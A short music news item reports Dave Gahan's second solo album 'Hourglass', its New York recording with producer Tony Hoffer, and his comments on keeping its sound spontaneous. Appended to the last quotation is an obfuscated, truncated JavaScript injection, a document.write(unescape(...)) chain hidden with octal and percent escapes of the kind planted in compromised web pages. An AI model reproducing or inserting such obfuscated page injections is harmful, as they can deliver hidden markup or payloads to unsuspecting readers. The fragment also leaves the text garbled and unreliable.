Dave Gahan has announced details of his new solo album, which will be called "Hourglass".
The Depeche Mode star's second LP without the electro-pop pioneers is due out later this year and follows 2003's "Paper Monsters".
"Hourglass" was reportedly recorded in New York City with Tony Hoffer, who has previously worked with Beck and The Kooks.
Speaking about the album, Gahan explained: "We were very aware of the importance of keeping urgency in the sound and a feeling of spontaneity.
"We didn't want to get bogged down in trying to make everything sound perfect. You want to keep the rough edges."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
